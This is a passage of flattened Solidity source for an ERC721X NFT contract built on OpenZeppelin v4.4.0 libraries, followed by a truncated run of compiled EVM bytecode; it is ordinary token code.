private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } // /** // * @dev See {IERC721-balanceOf}. // */ // function balanceOf(address owner) public view virtual override returns (uint256) { // // require(owner != address(0), 'ERC721: balance query for the zero address'); // // uint256 count; // // for (uint256 i; i < totalSupply; ++i) if (owner == _owners[i]) count++; // // return count; // } // function balanceOf(address owner) public view virtual override returns (uint256) {} function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), 'ERC721: owner query for nonexistent token'); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721X.ownerOf(tokenId); require(to != owner, 'ERC721: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721: approve caller is not owner nor approved for all' ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), 'ERC721: approved query for nonexistent token'); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved'); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved'); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer'); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), 'ERC721: operator query for nonexistent token'); address owner = ERC721X.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ''); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer' ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), 'ERC721: mint to the zero address'); require(!_exists(tokenId), 'ERC721: token already minted'); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; totalSupply++; emit Transfer(address(0), to, tokenId); } // function _mintUnchecked(address to, uint256 tokenId) internal virtual { // _owners[tokenId] = to; // emit Transfer(address(0), to, tokenId); // } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721X.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721X.ownerOf(tokenId) == from, 'ERC721: transfer of token that is not own'); require(to != address(0), 'ERC721: transfer to the zero address'); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721X.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, 'ERC721: approve to caller'); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual { if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function tokenByIndex(uint256 index) public view virtual returns (uint256) { require(index < totalSupply, "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106103505760003560e01c8063715018a6116101c6578063b88d4fde116100f7578063e15c173011610095578063eb418b731161006f578063eb418b731461099a578063f2fde38b146109ba578063fc1a1c36146109da578063fe2c7fee146109f057600080fd5b8063e15c17301461091c578063e2e06fa314610931578063e985e9c51461095157600080fd5b8063c0d4c307116100d1578063c0d4c307146108a6578063c3b754dc146108c6578063c87b56dd146108e6578063d85f27401461090657600080fd5b8063b88d4fde1461084c578063b93743811461086c578063bc8893b41461088c57600080fd5b80639e852f7511610164578063a22cb4651161013e578063a22cb465146107b2578063a3b261f2146107d2578063ab6c8257146107ff578063ab9a067d1461082c57600080fd5b80639e852f7514610776578063a035b1fe14610789578063a0712d681461079f57600080fd5b806391b7f5ed116101a057806391b7f5ed14610701578063940cd05b1461072157806395d89b41146107415780639be65a601461075657600080fd5b8063715018a6146106ae578063717d57d3146106c35780638da5cb5b146106e357600080fd5b80632f745c59116102a057806355f804b31161023e5780636c0360eb116102185780636c0360eb146106445780636edc4388146106595780637035bf181461067957806370a082311461068e57600080fd5b806355f804b3146105d7578063581ea136146105f75780636352211e1461062457600080fd5b80634256dbe31161027a5780634256dbe31461055657806342842e0e146105765780634f6ccce71461059657806351830227146105b657600080fd5b80632f745c591461051857806332cb6b0c146105385780633ccfd60b1461054e57600080fd5b806318160ddd1161030d57806323b872dd116102e757806323b872dd1461049f5780632618c3ff146104bf5780632e4ad4d5146104d55780632f48df0b146104e857600080fd5b806318160ddd1461044557806318886657146104695780632062121d1461047f57600080fd5b806301ffc9a71461035557806302ce58131461038a578063046dc166146103a957806306fdde03146103cb578063081812fc146103ed578063095ea7b314610425575b600080fd5b34801561036157600080fd5b50610375610370366004612c2b565b610a10565b60405190151581526020015b60405180910390f35b34801561039657600080fd5b50600e5461037590610100900460ff1681565b3480156103b557600080fd5b506103c96103c4366004612c64565b610a62565b005b3480156103d757600080fd5b506103e0610ab7565b6040516103819190612cd9565b3480156103f957600080fd5b5061040d610408366004612cec565b610b49565b6040516001600160a01b039091168152602001610381565b34801561043157600080fd5b506103c9610440366004612d05565b610bde565b34801561045157600080fd5b5061045b600f5481565b604051908152602001610381565b34801561047557600080fd5b5061045b60125481565b34801561048b57600080fd5b506103c961049a366004612cec565b610cf4565b3480156104ab57600080fd5b506103c96104ba366004612d31565b610d2b565b3480156104cb57600080fd5b5061045b60145481565b6103c96104e3366004612e1e565b610d5c565b3480156104f457600080fd5b50610375610503366004612c64565b60176020526000908152604090205460ff1681565b34801561052457600080fd5b5061045b610533366004612d05565b610e92565b34801561054457600080fd5b5061045b611e6181565b6103c9610f28565b34801561056257600080fd5b506103c9610571366004612cec565b610fc3565b34801561058257600080fd5b506103c9610591366004612d31565b610ff2565b3480156105a257600080fd5b5061045b6105b1366004612cec565b61100d565b3480156105c257600080fd5b5060185461037590600160a01b900460ff1681565b3480156105e357600080fd5b506103c96105f2366004612e53565b61109a565b34801561060357600080fd5b5061045b610612366004612c64565b60156020526000908152604090205481565b34801561063057600080fd5b5061040d61063f366004612cec565b6110d7565b34801561065057600080fd5b506103e061114e565b34801561066557600080fd5b506103c9610674366004612cec565b6111dc565b34801561068557600080fd5b506103e061120b565b34801561069a57600080fd5b5061045b6106a9366004612c64565b611218565b3480156106ba57600080fd5b506103c961129f565b3480156106cf57600080fd5b506103c96106de366004612cec565b6112d5565b3480156106ef57600080fd5b50600b546001600160a01b031661040d565b34801561070d57600080fd5b506103c961071c366004612cec565b611304565b34801561072d57600080fd5b506103c961073c366004612eaa565b611333565b34801561074d57600080fd5b506103e061137b565b34801561076257600080fd5b506103c9610771366004612c64565b61138a565b6103c9610784366004612ec7565b6114b3565b34801561079557600080fd5b5061045b60115481565b6103c96107ad366004612cec565b61164c565b3480156107be57600080fd5b506103c96107cd366004612f0e565b611798565b3480156107de57600080fd5b506107f26107ed366004612c64565b6117a3565b6040516103819190612f47565b34801561080b57600080fd5b5061045b61081a366004612c64565b60166020526000908152604090205481565b34801561083857600080fd5b506103c9610847366004612eaa565b611853565b34801561085857600080fd5b506103c9610867366004612f8b565b611899565b34801561087857600080fd5b506103c9610887366004612cec565b6118d1565b34801561089857600080fd5b50600e546103759060ff1681565b3480156108b257600080fd5b506103c96108c1366004612ff7565b611900565b3480156108d257600080fd5b506103c96108e1366004612eaa565b611978565b3480156108f257600080fd5b506103e0610901366004612cec565b6119bc565b34801561091257600080fd5b5061045b60105481565b34801561092857600080fd5b5061045b600381565b34801561093d57600080fd5b506103c961094c366004612eaa565b611b10565b34801561095d57600080fd5b5061037561096c36600461306c565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b3480156109a657600080fd5b50600e546103759062010000900460ff1681565b3480156109c657600080fd5b506103c96109d5366004612c64565b611b81565b3480156109e657600080fd5b5061045b60135481565b3480156109fc57600080fd5b506103c9610a0b366004612e53565b611c19565b60006001600160e01b031982166380ac58cd60e01b1480610a4157506001600160e01b03198216635b5e139f60e01b145b80610a5c57506301ffc9a760e01b6001600160e01b03198316145b92915050565b600b546001600160a01b03163314610a955760405162461bcd60e51b8152600401610a8c9061309a565b60405180910390fd5b601880546001600160a01b0319166001600160a01b0392909216919091179055565b606060008054610ac6906130cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610af2906130cf565b8015610b3f5780601f10610b1457610100808354040283529160200191610b3f565b820191906000526020600020905b815481529060010190602001808311610b2257829003601f168201915b5050505050905090565b6000818152600360205260408120546001600160a01b0316610bc25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a8c565b506000908152600560205260409020546001600160a01b031690565b6000610be9826110d7565b9050806001600160a01b0316836001600160a01b03161415610c575760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610a8c565b336001600160a01b0382161480610c735750610c73813361096c565b610ce55760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a8c565b610cef8383611c56565b505050565b600b546001600160a01b03163314610d1e5760405162461bcd60e51b8152600401610a8c9061309a565b610d283382611cc4565b50565b610d353382611db4565b610d515760405162461bcd60e51b8152600401610a8c9061310a565b610cef838383611eab565b600e5462010000900460ff16610dad5760405162461bcd60e51b81526020600482015260166024820152754449414d4f4e444c4953545f4e4f545f41435449564560501b6044820152606401610a8c565b80610dba81610539612056565b610df85760405162461bcd60e51b815260206004820152600f60248201526e1393d517d5d2125511531254d51151608a1b6044820152606401610a8c565b3360009081526017602052604090205460ff1615610e4b5760405162461bcd60e51b815260206004820152601060248201526f1112505353d391131254d517d554d15160821b6044820152606401610a8c565b336000818152601760205260409020805460ff191660011790553214610e835760405162461bcd60e51b8152600401610a8c9061315b565b610e8e336001611cc4565b5050565b6000610e9d83611218565b8210610eff5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610a8c565b506001600160a01b03919091166000908152600760209081526040808320938352929052205490565b600b546001600160a01b03163314610f525760405162461bcd60e51b8152600401610a8c9061309a565b6000610f66600b546001600160a01b031690